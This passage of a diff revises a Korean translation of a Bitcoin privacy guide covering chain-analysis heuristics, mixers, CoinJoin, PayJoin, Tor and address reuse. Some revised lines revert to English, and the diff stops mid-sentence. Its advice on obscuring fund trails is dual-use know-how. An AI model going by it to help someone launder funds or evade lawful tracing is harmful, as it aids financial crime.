์‚ฌ์šฉํ•˜์ง€ ์•Š์•„์•ผ ํ•˜๋ฉฐ, ์ด๋กœ์จ ๊ฐœ์ธ์ •๋ณด leak์„ ๋ฐฉ์ง€ํ•ด์•ผ ํ•œ๋‹ค. -## **๊ธฐํƒ€ ๋ธ”๋ก์ฒด์ธ ๋ถ„์„ ๊ธฐ์ˆ ** +## **๊ธฐํƒ€ ๋ธ”๋ก์ฒด์ธ ๋ถ„์„ ๊ธฐ๋ฒ•** -- **์ •ํ™•ํ•œ ์ง€๋ถˆ ๊ธˆ์•ก:** ์ž”๋ˆ์ด ์—†๋Š” ๊ฑฐ๋ž˜๋Š” ๋™์ผํ•œ ์‚ฌ์šฉ์ž๊ฐ€ ์†Œ์œ ํ•œ ๋‘ ์ฃผ์†Œ ๊ฐ„์˜ ๊ฑฐ๋ž˜์ผ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค. -- **์ •์ˆ˜:** ๊ฑฐ๋ž˜์—์„œ ์ •์ˆ˜๋Š” ์ง€๋ถˆ์„ ๋‚˜ํƒ€๋‚ด๋ฉฐ, ๋น„์ •์ˆ˜ ์ถœ๋ ฅ์€ ์ž”๋ˆ์ผ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค. -- **์ง€๊ฐ‘ ์ง€๋ฌธ ์ธ์‹:** ์„œ๋กœ ๋‹ค๋ฅธ ์ง€๊ฐ‘์€ ๊ณ ์œ ํ•œ ๊ฑฐ๋ž˜ ์ƒ์„ฑ ํŒจํ„ด์„ ๊ฐ€์ง€๊ณ  ์žˆ์–ด ๋ถ„์„๊ฐ€๊ฐ€ ์‚ฌ์šฉ๋œ ์†Œํ”„ํŠธ์›จ์–ด์™€ ์ž ์žฌ์ ์œผ๋กœ ์ž”๋ˆ ์ฃผ์†Œ๋ฅผ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **๊ธˆ์•ก ๋ฐ ์‹œ๊ฐ„ ์ƒ๊ด€๊ด€๊ณ„:** ๊ฑฐ๋ž˜ ์‹œ๊ฐ„์ด๋‚˜ ๊ธˆ์•ก์„ ๊ณต๊ฐœํ•˜๋ฉด ๊ฑฐ๋ž˜๊ฐ€ ์ถ”์  ๊ฐ€๋Šฅํ•ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **์ •ํ™•ํ•œ ๊ฒฐ์ œ ๊ธˆ์•ก:** ์ž”๋ˆ์ด ์—†๋Š” ๊ฑฐ๋ž˜๋Š” ๋™์ผ ์‚ฌ์šฉ์ž๊ฐ€ ์†Œ์œ ํ•œ ๋‘ ์ฃผ์†Œ ๊ฐ„์˜ ๊ฑฐ๋ž˜์ผ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’๋‹ค. +- **๋ฐ˜์˜ฌ๋ฆผ๋œ ์ˆซ์ž:** ๊ฑฐ๋ž˜์˜ ๋ฐ˜์˜ฌ๋ฆผ๋œ ๊ธˆ์•ก์€ ๊ฒฐ์ œ์ž„์„ ์‹œ์‚ฌํ•˜๋ฉฐ, ๋ฐ˜์˜ฌ๋ฆผ๋˜์ง€ ์•Š์€ ์ถœ๋ ฅ์ด ์ž”๋ˆ์ผ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’๋‹ค. +- **์ง€๊ฐ‘ ์ง€๋ฌธํ™”:** ์ง€๊ฐ‘๋งˆ๋‹ค ๊ณ ์œ ํ•œ ๊ฑฐ๋ž˜ ์ƒ์„ฑ ํŒจํ„ด์ด ์žˆ์–ด ๋ถ„์„๊ฐ€๊ฐ€ ์‚ฌ์šฉ๋œ ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ์‹๋ณ„ํ•˜๊ณ  ์ž ์žฌ์ ์œผ๋กœ ์ž”๋ˆ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค. +- **๊ธˆ์•ก ๋ฐ ์‹œ๊ฐ„ ์ƒ๊ด€๊ด€๊ณ„:** ๊ฑฐ๋ž˜ ์‹œ๊ฐ„์ด๋‚˜ ๊ธˆ์•ก์„ ๊ณต๊ฐœํ•˜๋ฉด ๊ฑฐ๋ž˜๋ฅผ ์ถ”์  ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค. ## **ํŠธ๋ž˜ํ”ฝ ๋ถ„์„** -๋„คํŠธ์›Œํฌ ํŠธ๋ž˜ํ”ฝ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•จ์œผ๋กœ์จ ๊ณต๊ฒฉ์ž๋Š” ๊ฑฐ๋ž˜๋‚˜ ๋ธ”๋ก์„ IP ์ฃผ์†Œ์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์–ด ์‚ฌ์šฉ์ž ๊ฐœ์ธ ์ •๋ณด๊ฐ€ ์นจํ•ด๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ํŠนํžˆ ํ•œ ๊ธฐ๊ด€์ด ๋งŽ์€ ๋น„ํŠธ์ฝ”์ธ ๋…ธ๋“œ๋ฅผ ์šด์˜ํ•˜๋Š” ๊ฒฝ์šฐ์— ํ•ด๋‹นํ•˜๋ฉฐ, ๊ฑฐ๋ž˜ ๋ชจ๋‹ˆํ„ฐ๋ง ๋Šฅ๋ ฅ์ด ํ–ฅ์ƒ๋ฉ๋‹ˆ๋‹ค. +๋„คํŠธ์›Œํฌ ํŠธ๋ž˜ํ”ฝ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•จ์œผ๋กœ์จ ๊ณต๊ฒฉ์ž๋Š” ๊ฑฐ๋ž˜๋‚˜ ๋ธ”๋ก์„ IP ์ฃผ์†Œ์™€ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์–ด ์‚ฌ์šฉ์ž ๊ฐœ์ธ์ •๋ณด๋ฅผ ์นจํ•ดํ•  ์ˆ˜ ์žˆ๋‹ค. ํŠนํžˆ ์–ด๋–ค ๋‹จ์ฒด๊ฐ€ ๋‹ค์ˆ˜์˜ Bitcoin ๋…ธ๋“œ๋ฅผ ์šด์˜ํ•˜๋ฉด ๊ฑฐ๋ž˜๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์ด ํ–ฅ์ƒ๋œ๋‹ค. -## ๋” ์•Œ์•„๋ณด๊ธฐ +## ์ถ”๊ฐ€ ์ž๋ฃŒ -๊ฐœ์ธ ์ •๋ณด ๊ณต๊ฒฉ ๋ฐ ๋ฐฉ์–ด์— ๋Œ€ํ•œ ํฌ๊ด„์ ์ธ ๋ชฉ๋ก์€ [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)๋ฅผ ๋ฐฉ๋ฌธํ•˜์„ธ์š”. +๊ฐœ์ธ์ •๋ณด ๊ณต๊ฒฉ ๋ฐ ๋ฐฉ์–ด์— ๋Œ€ํ•œ ํฌ๊ด„์  ๋ชฉ๋ก์€ [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)์„ ์ฐธ์กฐํ•˜๋ผ. # ์ต๋ช… ๋น„ํŠธ์ฝ”์ธ ๊ฑฐ๋ž˜ -## ์ต๋ช…์œผ๋กœ ๋น„ํŠธ์ฝ”์ธ์„ ์–ป๋Š” ๋ฐฉ๋ฒ• +## ๋น„ํŠธ์ฝ”์ธ์„ ์ต๋ช…์œผ๋กœ ์–ป๋Š” ๋ฐฉ๋ฒ• -- **ํ˜„๊ธˆ ๊ฑฐ๋ž˜**: ํ˜„๊ธˆ์„ ํ†ตํ•ด ๋น„ํŠธ์ฝ”์ธ์„ ํš๋“ํ•ฉ๋‹ˆ๋‹ค. -- **ํ˜„๊ธˆ ๋Œ€์•ˆ**: ๊ธฐํ”„ํŠธ ์นด๋“œ๋ฅผ ๊ตฌ๋งคํ•˜๊ณ  ์ด๋ฅผ ์˜จ๋ผ์ธ์—์„œ ๋น„ํŠธ์ฝ”์ธ์œผ๋กœ ๊ตํ™˜ํ•ฉ๋‹ˆ๋‹ค. -- **์ฑ„๊ตด**: ๋น„ํŠธ์ฝ”์ธ์„ ์–ป๋Š” ๊ฐ€์žฅ ๊ฐœ์ธ์ ์ธ ๋ฐฉ๋ฒ•์€ ์ฑ„๊ตด์ด๋ฉฐ, ํŠนํžˆ ํ˜ผ์ž์„œ ํ•  ๋•Œ ๊ทธ๋ ‡์Šต๋‹ˆ๋‹ค. ์ฑ„๊ตด ํ’€์€ ์ฑ„๊ตด์ž์˜ IP ์ฃผ์†Œ๋ฅผ ์•Œ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **๋„๋‚œ**: ์ด๋ก ์ ์œผ๋กœ ๋น„ํŠธ์ฝ”์ธ์„ ํ›”์น˜๋Š” ๊ฒƒ๋„ ์ต๋ช…์œผ๋กœ ํš๋“ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ๋  ์ˆ˜ ์žˆ์ง€๋งŒ, ์ด๋Š” ๋ถˆ๋ฒ•์ด๋ฉฐ ๊ถŒ์žฅ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. +- **ํ˜„๊ธˆ ๊ฑฐ๋ž˜**: ํ˜„๊ธˆ์œผ๋กœ ๋น„ํŠธ์ฝ”์ธ์„ ํš๋“ํ•œ๋‹ค. +- **ํ˜„๊ธˆ ๋Œ€์•ˆ**: ๊ธฐํ”„ํŠธ ์นด๋“œ๋ฅผ ๊ตฌ๋งคํ•ด ์˜จ๋ผ์ธ์—์„œ ๋น„ํŠธ์ฝ”์ธ์œผ๋กœ ๊ตํ™˜ํ•œ๋‹ค. +- **์ฑ„๊ตด**: ๋น„ํŠธ์ฝ”์ธ์„ ์–ป๋Š” ๊ฐ€์žฅ ํ”„๋ผ์ด๋น—ํ•œ ๋ฐฉ๋ฒ•์€ ์ฑ„๊ตด์ด๋ฉฐ, ํŠนํžˆ ๋‹จ๋… ์ฑ„๊ตด์ผ ๋•Œ ๊ทธ๋ ‡๋‹ค. ์ฑ„๊ตด ํ’€์€ ์ฑ„๊ตด์ž์˜ IP ์ฃผ์†Œ๋ฅผ ์•Œ ์ˆ˜ ์žˆ๋‹ค. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) +- **๋„๋‘‘์งˆ**: ์ด๋ก ์ ์œผ๋กœ๋Š” ๋น„ํŠธ์ฝ”์ธ์„ ํ›”์น˜๋Š” ๊ฒƒ์ด ์ต๋ช…์œผ๋กœ ํš๋“ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ๋  ์ˆ˜ ์žˆ์ง€๋งŒ ๋ถˆ๋ฒ•์ด๋ฉฐ ๊ถŒ์žฅ๋˜์ง€ ์•Š๋Š”๋‹ค. ## ๋ฏน์‹ฑ ์„œ๋น„์Šค -๋ฏน์‹ฑ ์„œ๋น„์Šค๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์‚ฌ์šฉ์ž๊ฐ€ **๋น„ํŠธ์ฝ”์ธ์„ ๋ณด๋‚ด๊ณ ** **๋‹ค๋ฅธ ๋น„ํŠธ์ฝ”์ธ์„ ๋ฐ›๋Š”** ๋ฐฉ์‹์œผ๋กœ ์›๋ž˜ ์†Œ์œ ์ž๋ฅผ ์ถ”์ ํ•˜๊ธฐ ์–ด๋ ต๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Š” ์„œ๋น„์Šค๊ฐ€ ๋กœ๊ทธ๋ฅผ ๋ณด๊ด€ํ•˜์ง€ ์•Š๊ณ  ์‹ค์ œ๋กœ ๋น„ํŠธ์ฝ”์ธ์„ ๋ฐ˜ํ™˜ํ•  ๊ฒƒ์ด๋ผ๋Š” ์‹ ๋ขฐ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ๋Œ€์•ˆ ๋ฏน์‹ฑ ์˜ต์…˜์œผ๋กœ๋Š” ๋น„ํŠธ์ฝ”์ธ ์นด์ง€๋…ธ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. +๋ฏน์‹ฑ ์„œ๋น„์Šค๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์‚ฌ์šฉ์ž๋Š” **๋น„ํŠธ์ฝ”์ธ์„ ๋ณด๋‚ผ ์ˆ˜** ์žˆ๊ณ  **๋‹ค๋ฅธ ๋น„ํŠธ์ฝ”์ธ์„ ๋˜๋Œ๋ ค๋ฐ›์„ ์ˆ˜** ์žˆ์–ด ์›์†Œ์œ ์ž๋ฅผ ์ถ”์ ํ•˜๊ธฐ ์–ด๋ ต๊ฒŒ ๋งŒ๋“ ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์„œ๋น„์Šค๊ฐ€ ๋กœ๊ทธ๋ฅผ ๋ณด๊ด€ํ•˜์ง€ ์•Š๊ณ  ์‹ค์ œ๋กœ ๋น„ํŠธ์ฝ”์ธ์„ ๋ฐ˜ํ™˜ํ•  ๊ฒƒ์ด๋ผ๋Š” ์‹ ๋ขฐ๊ฐ€ ํ•„์š”ํ•˜๋‹ค. ๋Œ€์•ˆ ๋ฏน์‹ฑ ์˜ต์…˜์œผ๋กœ๋Š” Bitcoin ์นด์ง€๋…ธ๊ฐ€ ์žˆ๋‹ค. ## CoinJoin -**CoinJoin**์€ ์„œ๋กœ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ์—ฌ๋Ÿฌ ๊ฑฐ๋ž˜๋ฅผ ํ•˜๋‚˜๋กœ ๋ณ‘ํ•ฉํ•˜์—ฌ ์ž…๋ ฅ๊ณผ ์ถœ๋ ฅ์„ ์ผ์น˜์‹œํ‚ค๋ ค๋Š” ์‚ฌ๋žŒ์—๊ฒŒ ๊ณผ์ •์„ ๋ณต์žกํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ๊ทธ ํšจ๊ณผ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ , ๊ณ ์œ ํ•œ ์ž…๋ ฅ ๋ฐ ์ถœ๋ ฅ ํฌ๊ธฐ๋ฅผ ๊ฐ€์ง„ ๊ฑฐ๋ž˜๋Š” ์—ฌ์ „ํžˆ ์ถ”์ ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +CoinJoin์€ ์„œ๋กœ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ์—ฌ๋Ÿฌ ๊ฑฐ๋ž˜๋ฅผ ํ•˜๋‚˜๋กœ ํ•ฉ์ณ ์ž…๋ ฅ๊ณผ ์ถœ๋ ฅ์„ ๋งค์นญํ•˜๋ ค๋Š” ์‹œ๋„๋ฅผ ์–ด๋ ต๊ฒŒ ๋งŒ๋“ ๋‹ค. ๊ทธ๋Ÿผ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  ์ž…๋ ฅ๊ณผ ์ถœ๋ ฅ ํฌ๊ธฐ๊ฐ€ ๊ณ ์œ ํ•œ ๊ฑฐ๋ž˜๋Š” ์—ฌ์ „ํžˆ ์ถ”์ ๋  ์ˆ˜ ์žˆ๋‹ค. -CoinJoin์„ ์‚ฌ์šฉํ–ˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ๋Š” ์˜ˆ์‹œ ๊ฑฐ๋ž˜๋Š” `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` ๋ฐ `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`์ž…๋‹ˆ๋‹ค. +CoinJoin์„ ์‚ฌ์šฉํ–ˆ์„ ์ˆ˜ ์žˆ๋Š” ์˜ˆ์‹œ ๊ฑฐ๋ž˜์—๋Š” `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a`์™€ `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`๊ฐ€ ์žˆ๋‹ค. -์ž์„ธํ•œ ์ •๋ณด๋Š” [CoinJoin](https://coinjoin.io/en)์„ ๋ฐฉ๋ฌธํ•˜์„ธ์š”. ์ด๋”๋ฆฌ์›€์—์„œ ์œ ์‚ฌํ•œ ์„œ๋น„์Šค๋Š” [Tornado Cash](https://tornado.cash)๋กœ, ์ด๋Š” ์ฑ„๊ตด์ž์˜ ์ž๊ธˆ์œผ๋กœ ๊ฑฐ๋ž˜๋ฅผ ์ต๋ช…ํ™”ํ•ฉ๋‹ˆ๋‹ค. +์ž์„ธํ•œ ๋‚ด์šฉ์€ [CoinJoin](https://coinjoin.io/en)์„ ์ฐธ์กฐํ•˜๋ผ. Ethereum์—์„œ ์œ ์‚ฌํ•œ ์„œ๋น„์Šค๋กœ๋Š” ์ฑ„๊ตด์ž์˜ ์ž๊ธˆ์œผ๋กœ ๊ฑฐ๋ž˜๋ฅผ ์ต๋ช…ํ™”ํ•˜๋Š” [Tornado Cash](https://tornado.cash)๊ฐ€ ์žˆ๋‹ค. ## PayJoin -CoinJoin์˜ ๋ณ€ํ˜•์ธ **PayJoin**(๋˜๋Š” P2EP)์€ ๋‘ ๋‹น์‚ฌ์ž(์˜ˆ: ๊ณ ๊ฐ๊ณผ ์ƒ์ธ) ๊ฐ„์˜ ๊ฑฐ๋ž˜๋ฅผ ์ผ๋ฐ˜ ๊ฑฐ๋ž˜์ฒ˜๋Ÿผ ์œ„์žฅํ•˜์—ฌ CoinJoin์˜ ๊ณ ์œ ํ•œ ๋™๋“ฑ ์ถœ๋ ฅ ํŠน์„ฑ์„ ๊ฐ€์ง€์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด๋Š” ํƒ์ง€ํ•˜๊ธฐ ๋งค์šฐ ์–ด๋ ต๊ฒŒ ๋งŒ๋“ค๋ฉฐ, ๊ฑฐ๋ž˜ ๊ฐ์‹œ ๊ธฐ๊ด€์—์„œ ์‚ฌ์šฉํ•˜๋Š” ์ผ๋ฐ˜ ์ž…๋ ฅ ์†Œ์œ ๊ถŒ ํœด๋ฆฌ์Šคํ‹ฑ์„ ๋ฌดํšจํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +CoinJoin์˜ ๋ณ€ํ˜•์ธ **PayJoin**(๋˜๋Š” P2EP)์€ ๊ณ ๊ฐ๊ณผ ์ƒ์ธ ๋“ฑ ๋‘ ๋‹น์‚ฌ์ž ๊ฐ„์˜ ๊ฑฐ๋ž˜๋ฅผ ์ผ๋ฐ˜ ๊ฑฐ๋ž˜๋กœ ์œ„์žฅํ•˜์—ฌ CoinJoin ํŠน์œ ์˜ ๋™์ผํ•œ ์ถœ๋ ฅ์„ ๋“œ๋Ÿฌ๋‚˜์ง€ ์•Š๊ฒŒ ๋งŒ๋“ ๋‹ค. ์ด๋Š” ํƒ์ง€๋ฅผ ๋งค์šฐ ์–ด๋ ต๊ฒŒ ํ•˜๋ฉฐ, ํŠธ๋žœ์žญ์…˜ ๊ฐ์‹œ ๊ธฐ๊ด€์ด ์‚ฌ์šฉํ•˜๋Š” common-input-ownership ํœด๋ฆฌ์Šคํ‹ฑ์„ ๋ฌดํšจํ™”ํ•  ์ˆ˜ ์žˆ๋‹ค. ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` -์œ„์™€ ๊ฐ™์€ ๊ฑฐ๋ž˜๋Š” PayJoin์ผ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํ‘œ์ค€ ๋น„ํŠธ์ฝ”์ธ ๊ฑฐ๋ž˜์™€ ๊ตฌ๋ณ„๋˜์ง€ ์•Š์œผ๋ฉด์„œ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. +Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. -**PayJoin์˜ ํ™œ์šฉ์€ ์ „ํ†ต์ ์ธ ๊ฐ์‹œ ๋ฐฉ๋ฒ•์— ์ƒ๋‹นํ•œ ํ˜ผ๋ž€์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ**, ๊ฑฐ๋ž˜ ํ”„๋ผ์ด๋ฒ„์‹œ ์ถ”๊ตฌ์— ์žˆ์–ด ์œ ๋งํ•œ ๋ฐœ์ „์ž…๋‹ˆ๋‹ค. +**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. -# ์•”ํ˜ธํ™”ํ์—์„œ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ์œ„ํ•œ ๋ชจ๋ฒ” ์‚ฌ๋ก€ +# Best Practices for Privacy in Cryptocurrencies -## **์ง€๊ฐ‘ ๋™๊ธฐํ™” ๊ธฐ์ˆ ** +## **Wallet Synchronization Techniques** -ํ”„๋ผ์ด๋ฒ„์‹œ์™€ ๋ณด์•ˆ์„ ์œ ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ๋ธ”๋ก์ฒด์ธ๊ณผ ์ง€๊ฐ‘์„ ๋™๊ธฐํ™”ํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ๋‘ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์ด ๋‘๋“œ๋Ÿฌ์ง‘๋‹ˆ๋‹ค: +ํ”„๋ผ์ด๋ฒ„์‹œ์™€ ๋ณด์•ˆ์„ ์œ ์ง€ํ•˜๋ ค๋ฉด ์ง€๊ฐ‘์„ ๋ธ”๋ก์ฒด์ธ๊ณผ ๋™๊ธฐํ™”ํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ๋‘ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์ด ํŠนํžˆ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค: -- **ํ’€ ๋…ธ๋“œ**: ์ „์ฒด ๋ธ”๋ก์ฒด์ธ์„ ๋‹ค์šด๋กœ๋“œํ•จ์œผ๋กœ์จ ํ’€ ๋…ธ๋“œ๋Š” ์ตœ๋Œ€ํ•œ์˜ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ์ง€๊ธˆ๊นŒ์ง€ ์ด๋ฃจ์–ด์ง„ ๋ชจ๋“  ๊ฑฐ๋ž˜๊ฐ€ ๋กœ์ปฌ์— ์ €์žฅ๋˜์–ด, ์ ๋“ค์ด ์‚ฌ์šฉ์ž๊ฐ€ ๊ด€์‹ฌ ์žˆ๋Š” ๊ฑฐ๋ž˜๋‚˜ ์ฃผ์†Œ๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๊ฒƒ์ด ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. -- **ํด๋ผ์ด์–ธํŠธ ์ธก ๋ธ”๋ก ํ•„ํ„ฐ๋ง**: ์ด ๋ฐฉ๋ฒ•์€ ๋ธ”๋ก์ฒด์ธ์˜ ๋ชจ๋“  ๋ธ”๋ก์— ๋Œ€ํ•œ ํ•„ํ„ฐ๋ฅผ ์ƒ์„ฑํ•˜์—ฌ ์ง€๊ฐ‘์ด ํŠน์ • ๊ด€์‹ฌ์‚ฌ๋ฅผ ๋„คํŠธ์›Œํฌ ๊ด€์ฐฐ์ž์—๊ฒŒ ๋…ธ์ถœํ•˜์ง€ ์•Š๊ณ  ๊ด€๋ จ ๊ฑฐ๋ž˜๋ฅผ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๊ฒฝ๋Ÿ‰ ์ง€๊ฐ‘์€ ์ด๋Ÿฌํ•œ ํ•„ํ„ฐ๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ , ์‚ฌ์šฉ์ž์˜ ์ฃผ์†Œ์™€ ์ผ์น˜ํ•˜๋Š” ๊ฒฝ์šฐ์—๋งŒ ์ „์ฒด ๋ธ”๋ก์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค. +- **Full node**: ์ „์ฒด ๋ธ”๋ก์ฒด์ธ์„ ๋‹ค์šด๋กœ๋“œํ•จ์œผ๋กœ์จ Full node๋Š” ์ตœ๋Œ€ํ•œ์˜ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ์ง€๊ธˆ๊นŒ์ง€ ๋ฐœ์ƒํ•œ ๋ชจ๋“  ๊ฑฐ๋ž˜๊ฐ€ ๋กœ์ปฌ์— ์ €์žฅ๋˜์–ด ์žˆ์–ด ๊ณต๊ฒฉ์ž๊ฐ€ ์‚ฌ์šฉ์ž๊ฐ€ ์–ด๋–ค ๊ฑฐ๋ž˜๋‚˜ ์ฃผ์†Œ์— ๊ด€์‹ฌ์ด ์žˆ๋Š”์ง€ ์‹๋ณ„ํ•˜๊ธฐ ์–ด๋ ต์Šต๋‹ˆ๋‹ค. +- **Client-side block filtering**: ์ด ๋ฐฉ๋ฒ•์€ ๋ธ”๋ก์ฒด์ธ์˜ ๊ฐ ๋ธ”๋ก์— ๋Œ€ํ•œ ํ•„ํ„ฐ๋ฅผ ์ƒ์„ฑํ•˜์—ฌ ์ง€๊ฐ‘์ด ๋„คํŠธ์›Œํฌ ๊ด€์ฐฐ์ž์—๊ฒŒ ํŠน์ • ๊ด€์‹ฌ์‚ฌ๋ฅผ ๋…ธ์ถœํ•˜์ง€ ์•Š๊ณ  ๊ด€๋ จ ๊ฑฐ๋ž˜๋ฅผ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๋ผ์ดํŠธ๊ธ‰ ์ง€๊ฐ‘์€ ์ด๋Ÿฌํ•œ ํ•„ํ„ฐ๋งŒ ๋‹ค์šด๋กœ๋“œํ•˜๋ฉฐ, ์‚ฌ์šฉ์ž์˜ ์ฃผ์†Œ์™€ ์ผ์น˜ํ•  ๋•Œ๋งŒ ์ „์ฒด ๋ธ”๋ก์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค. -## **์ต๋ช…์„ฑ์„ ์œ„ํ•œ Tor ํ™œ์šฉ** +## **Utilizing Tor for Anonymity** -๋น„ํŠธ์ฝ”์ธ์ด P2P ๋„คํŠธ์›Œํฌ์—์„œ ์šด์˜๋˜๊ธฐ ๋•Œ๋ฌธ์—, ๋„คํŠธ์›Œํฌ์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ๋•Œ IP ์ฃผ์†Œ๋ฅผ ์ˆจ๊ธฐ๊ธฐ ์œ„ํ•ด Tor๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค. +Bitcoin์ด P2P ๋„คํŠธ์›Œํฌ์—์„œ ๋™์ž‘ํ•˜๊ธฐ ๋•Œ๋ฌธ์—, Tor๋ฅผ ์‚ฌ์šฉํ•ด IP ์ฃผ์†Œ๋ฅผ ์€ํํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋˜๋ฉฐ ๋„คํŠธ์›Œํฌ์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ๋•Œ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. -## **์ฃผ์†Œ ์žฌ์‚ฌ์šฉ ๋ฐฉ์ง€** +## **Preventing Address Reuse** -ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ๋ณดํ˜ธํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋ชจ๋“  ๊ฑฐ๋ž˜์— ๋Œ€ํ•ด ์ƒˆ๋กœ์šด ์ฃผ์†Œ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ์ฃผ์†Œ๋ฅผ ์žฌ์‚ฌ์šฉํ•˜๋ฉด ๊ฑฐ๋ž˜๊ฐ€ ๋™์ผํ•œ ์ฃผ์ฒด์— ์—ฐ๊ฒฐ๋˜์–ด ํ”„๋ผ์ด๋ฒ„์‹œ๊ฐ€ ์†์ƒ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ˜„๋Œ€ ์ง€๊ฐ‘์€ ๋””์ž์ธ์„ ํ†ตํ•ด ์ฃผ์†Œ ์žฌ์‚ฌ์šฉ์„ ๊ถŒ์žฅํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. +ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ๋ณดํ˜ธํ•˜๋ ค๋ฉด ๊ฑฐ๋ž˜๋งˆ๋‹ค ์ƒˆ ์ฃผ์†Œ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ์ฃผ์†Œ๋ฅผ ์žฌ์‚ฌ์šฉํ•˜๋ฉด ๋™์ผํ•œ ์‹ค์ฒด์— ๊ฑฐ๋ž˜๋“ค์ด ์—ฐ๊ฒฐ๋˜์–ด ํ”„๋ผ์ด๋ฒ„์‹œ๊ฐ€ ์†์ƒ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ตœ์‹  ์ง€๊ฐ‘์€ 